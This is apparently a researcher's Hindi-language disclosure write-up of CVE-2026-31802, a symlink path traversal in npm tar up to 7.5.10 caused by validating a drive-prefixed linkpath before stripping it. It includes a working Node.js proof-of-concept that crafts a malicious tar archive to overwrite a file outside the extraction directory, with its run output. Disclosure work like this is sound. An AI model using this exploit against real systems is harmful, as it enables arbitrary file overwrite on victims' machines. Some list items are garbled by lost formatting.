
CVE-2026-31802 के लिए प्रमाण-अवधारणा और तकनीकी विवरण, npm tar में एक सिमलिंक पाथ ट्रैवर्सल जो निष्कर्षण निर्देशिका के बाहर मनमाना फ़ाइल अधिलेखन की अनुमति देता है।
शोध: Joshua van Rijswijk
इस रिपॉजिटरी में CVE-2026-31802 के लिए मेरा प्रूफ ऑफ कॉन्सेप्ट और राइट-अप शामिल है, जो npm tar पैकेज (node-tar) में एक उच्च-गंभीरता वाली भेद्यता है, जो संस्करण <= 7.5.10 को प्रभावित करती है।
मैंने पाया कि tar को C:../../../target.txt जैसे ड्राइव-रिलेटिव सिमलिंक टारगेट का उपयोग करके इच्छित निष्कर्षण निर्देशिका के बाहर इंगित करने वाला सिमलिंक बनाने के लिए धोखा दिया जा सकता है। व्यवहार में, यह निष्कर्षण के दौरान cwd से बाहर निकलना संभव बनाता है और आर्काइव निष्कर्षण को मनमाना फ़ाइल ओवरराइट प्रिमिटिव में बदल देता है।
यह बग हमलावर-नियंत्रित tar आर्काइव के साथ सामान्य निष्कर्षण व्यवहार के माध्यम से पहुंच योग्य है।
tar द्वारा सिमलिंक निष्कर्षण को कैसे संभाला जाता है, यह देखते समय मैंने देखा कि कुछ linkpath मानों को सैनिटाइज़ेशन और वैलिडेशन के दौरान असंगत रूप से संभाला गया था। विशेष रूप से, ऐसे ड्राइव-रिलेटिव पाथ:
C:../../../target.txt
उपयोग से पहले फिर से लिखे गए, लेकिन उसी रूप में मान्य नहीं किए गए जिस रूप में उन्हें अंततः संग्रहीत और लागू किया गया था।
यही बेमेल बग को शोषण योग्य बनाता है।
यह भेद्यता इस बात से आती है कि tar निष्कर्षण के दौरान निर्मित सिमलिंक linkpath मानों को कैसे संसाधित करता है।
उच्च स्तर पर, निष्कर्षण तर्क इस तरह के पाथ से ड्राइव उपसर्ग को हटा देता है:
C:../../../target.txt
और इसे फिर से लिखता है:
../../../target.txt
हालाँकि, ट्रैवर्सल सुरक्षा जाँच मूल प्री-स्ट्रिप्ड मान के विरुद्ध की जाती है, जबकि सिमलिंक निर्माण बाद में फिर से लिखे गए मान का उपयोग करता है।
इसका मतलब है कि एक दुर्भावनापूर्ण आर्काइव पाथ के एक रूप का उपयोग करके वैलिडेशन पास कर सकता है, लेकिन फिर भी डिस्क पर लिखे जाने पर निष्कर्षण निर्देशिका के बाहर ट्रैवर्स करने वाला सिमलिंक उत्पन्न कर सकता है।
एक दुर्भावनापूर्ण आर्काइव में इस तरह की सिमलिंक प्रविष्टि हो सकती है:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
जब इस तरह के सामान्य उपयोग से निकाला जाता है:
tar.x({ cwd, file })
निम्नलिखित होता है:
linkpath से हटा दिया जाता है।cwd के बाहर की फ़ाइल तक पहुँचता है।दूसरे शब्दों में, निष्कर्षण तर्क एक मान को मान्य करता है और दूसरे का उपयोग करता है। यह अंतर ट्रैवर्सल प्रिमिटिव बनाता है।
मैंने यह प्रदर्शित करने के लिए निम्नलिखित PoC लिखा है कि एक निकाला गया सिमलिंक निष्कर्षण रूट के बाहर इंगित करने के लिए बनाया जा सकता है और फिर कार्यशील निर्देशिका के बाहर की फ़ाइल को ओवरराइट करने के लिए उपयोग किया जा सकता है।
PoC:
../target.txt बनाता हैa/b/l पर सिमलिंक प्रविष्टि के साथ एक दुर्भावनापूर्ण tar आर्काइव बनाता हैlinkpath को C:../../../target.txt पर सेट करता हैa/b/l के माध्यम से लिखता हैPoC स्क्रिप्ट:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED पुष्टि करता है कि निष्कर्षण निर्देशिका के बाहर की फ़ाइल ओवरराइट हो गई थी।
readlink आउटपुट और फ़ाइल सूची दिखाते हैं कि निकाला गया सिमलिंक इच्छित निष्कर्षण रूट के बाहर इंगित करता है।
यह समस्या हमलावर को इच्छित निष्कर्षण निर्देशिका के बाहर मनमाना फ़ाइल ओवरराइट प्रिमिटिव देती है, जो निष्कर्षण करने वाली प्रक्रिया की अनुमतियों के साथ होती है।
यथार्थवादी परिदृश्यों में शामिल हैं:
उन वातावरणों में, एक निर्मित आर्काइव उस निर्देशिका के बाहर लिखने का कारण बन सकता है जिसे एप्लिकेशन नियंत्रित करने की अपेक्षा करता है।
tar <= 7.5.10tar 7.5.11यह समस्या 7.5.11 में पैच की गई थी।
उपयोगकर्ताओं को तुरंत अपग्रेड करना चाहिए:
npm install tar@^7.5.11